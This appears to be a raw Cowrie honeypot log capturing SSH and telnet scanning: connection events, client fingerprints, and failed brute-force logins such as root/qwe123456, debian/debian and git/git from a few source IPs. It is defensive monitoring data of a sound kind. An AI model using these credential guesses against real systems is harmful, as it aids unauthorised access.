{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:43.548193Z","src_ip":"43.242.203.160","session":"36e2d918e348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.904133558273315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:43.631176Z","src_ip":"69.4.83.194","session":"a0d515054ee3","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:43.641073Z","src_ip":"20.6.35.235","session":"08ab4976fe85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:43.878617Z","src_ip":"20.6.35.235","session":"08ab4976fe85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:43.895979Z","src_ip":"193.151.144.93","session":"ad343c2f712a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":52828,"dst_ip":"10.17.0.5","dst_port":22,"session":"103aade9b5df","protocol":"ssh","message":"New connection: 193.151.144.93:52828 (10.17.0.5:22) [session: 103aade9b5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:46.929061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:46.935183Z","src_ip":"193.151.144.93","session":"103aade9b5df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:47.094948Z","src_ip":"193.151.144.93","session":"103aade9b5df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:47.573810Z","src_ip":"193.151.144.93","session":"103aade9b5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:48.748228Z","src_ip":"193.151.144.93","session":"103aade9b5df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":50468,"dst_ip":"159.203.135.109","dst_port":22,"session":"374a8ed36626","protocol":"ssh","message":"New connection: 80.66.85.226:50468 (159.203.135.109:22) [session: 374a8ed36626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:49.224883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:49.229825Z","src_ip":"80.66.85.226","session":"374a8ed36626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:49.323482Z","src_ip":"80.66.85.226","session":"374a8ed36626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex1984","message":"login attempt [root/alex1984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:49.604704Z","src_ip":"80.66.85.226","session":"374a8ed36626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:50.701090Z","src_ip":"80.66.85.226","session":"374a8ed36626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36636,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8e21fd40e73","protocol":"ssh","message":"New connection: 193.151.144.93:36636 (10.17.0.5:22) [session: d8e21fd40e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:52.648048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:52.653630Z","src_ip":"193.151.144.93","session":"d8e21fd40e73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:52.823995Z","src_ip":"193.151.144.93","session":"d8e21fd40e73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:53.397852Z","src_ip":"193.151.144.93","session":"d8e21fd40e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:54.569794Z","src_ip":"193.151.144.93","session":"d8e21fd40e73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36650,"dst_ip":"10.17.0.5","dst_port":22,"session":"6056e148d03a","protocol":"ssh","message":"New connection: 193.151.144.93:36650 (10.17.0.5:22) [session: 6056e148d03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:58.278545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:58.283450Z","src_ip":"193.151.144.93","session":"6056e148d03a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.8","message":"Connection lost after 20.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:58.313099Z","src_ip":"20.6.35.235","session":"08ab4976fe85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:58.451324Z","src_ip":"193.151.144.93","session":"6056e148d03a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0010666847229,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:58.639351Z","src_ip":"178.128.93.180","session":"667c162c389e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:58.961039Z","src_ip":"193.151.144.93","session":"6056e148d03a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:00.132000Z","src_ip":"193.151.144.93","session":"6056e148d03a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40712,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f0a86fd84b3","protocol":"ssh","message":"New connection: 193.151.144.93:40712 (10.17.0.5:22) [session: 9f0a86fd84b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:03.915368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:03.924107Z","src_ip":"193.151.144.93","session":"9f0a86fd84b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:04.104795Z","src_ip":"193.151.144.93","session":"9f0a86fd84b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:04.610804Z","src_ip":"193.151.144.93","session":"9f0a86fd84b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:05.783229Z","src_ip":"193.151.144.93","session":"9f0a86fd84b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40714,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc3f04da5d74","protocol":"ssh","message":"New connection: 193.151.144.93:40714 (10.17.0.5:22) [session: bc3f04da5d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:09.329847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:09.334837Z","src_ip":"193.151.144.93","session":"bc3f04da5d74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:09.502594Z","src_ip":"193.151.144.93","session":"bc3f04da5d74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:10.030486Z","src_ip":"193.151.144.93","session":"bc3f04da5d74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:11.199997Z","src_ip":"193.151.144.93","session":"bc3f04da5d74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46246,"dst_ip":"10.17.0.5","dst_port":22,"session":"736f55317827","protocol":"ssh","message":"New connection: 193.151.144.93:46246 (10.17.0.5:22) [session: 736f55317827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:14.940386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:14.946545Z","src_ip":"193.151.144.93","session":"736f55317827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:15.120652Z","src_ip":"193.151.144.93","session":"736f55317827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:16.330043Z","src_ip":"193.151.144.93","session":"736f55317827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:17.509625Z","src_ip":"193.151.144.93","session":"736f55317827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":42074,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8b476ba4112","protocol":"ssh","message":"New connection: 193.151.144.93:42074 (10.17.0.5:22) [session: d8b476ba4112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:20.218328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:20.223444Z","src_ip":"193.151.144.93","session":"d8b476ba4112","protocol":"ssh"}
